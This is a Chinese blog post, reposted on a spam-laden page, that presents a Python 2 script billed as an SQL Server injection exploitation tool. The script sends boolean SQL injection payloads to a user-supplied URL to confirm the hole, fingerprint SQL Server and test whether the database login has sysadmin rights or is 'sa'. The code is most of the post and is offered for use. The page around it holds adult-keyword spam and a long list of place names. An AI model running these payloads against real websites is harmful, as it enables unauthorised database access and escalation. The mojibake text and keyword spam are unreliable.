日韩久久久精品,亚洲精品久久久久久久久久久,亚洲欧美一区二区三区国产精品 ,一区二区福利

Python編寫檢測數(shù)據(jù)庫SA用戶的方法

系統(tǒng) 1693 0

本文講述一個用Python寫的小程序,用于有注入點(diǎn)的鏈接,以檢測當(dāng)前數(shù)據(jù)庫用戶是否為sa,詳細(xì)代碼如下:

            
# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!這個URL是有注入漏洞的!n" 
  print "[信息]現(xiàn)在判斷數(shù)據(jù)庫是否是SQL Server,請耐心等候....."  
  is_SQLServer() 
  else: 
  print "[錯誤]你確定這個URL能用?換個別的試試吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[錯誤]數(shù)據(jù)庫好像不是SQL Server的!n" 
  else: 
  print "[信息]確認(rèn)是SQL Server數(shù)據(jù)庫!n" 
  print "[信息]開始檢測當(dāng)前數(shù)據(jù)庫用戶權(quán)限,請耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯誤]當(dāng)前數(shù)據(jù)庫用戶不具有sysadmin權(quán)限!n" 
  else:  
    print "[信息]當(dāng)前數(shù)據(jù)庫用戶具有sysadmin權(quán)限!n" 
    print "[信息]檢測當(dāng)前用戶是不是SA,請耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[錯誤]當(dāng)前數(shù)據(jù)庫用戶不是SA!n" 
  else:  
    print "[信息]當(dāng)前數(shù)據(jù)庫用戶是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]請輸入一個可能有注入漏洞的鏈接!nURL:')  
if url == '':  
  print "[錯誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"  
  exit(1)  
 
judge = raw_input("[信息]請?zhí)峁┮粋€判斷字符串.n判斷字符串:")  
if judge == '':  
  print "[錯誤]判斷字符串不能為空!"  
  exit(1)  
 
is_sqlable()
          

更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯(lián)系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦?。。?/p>

發(fā)表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 涪陵区| 德化县| 长武县| 天峨县| 保康县| 乌鲁木齐县| 泸水县| 赤水市| 麻城市| 浦东新区| 鹿邑县| 巩义市| 吉水县| 苏尼特左旗| 孝义市| 宾川县| 义马市| 武山县| 三台县| 洛南县| 长沙市| 昌黎县| 平和县| 马山县| 会宁县| 辽阳市| 余江县| 荣昌县| 鹤庆县| 千阳县| 镇坪县| 梁平县| 龙南县| 利川市| 衡南县| 棋牌| 屏东市| 徐水县| 安康市| 夹江县| 屯门区|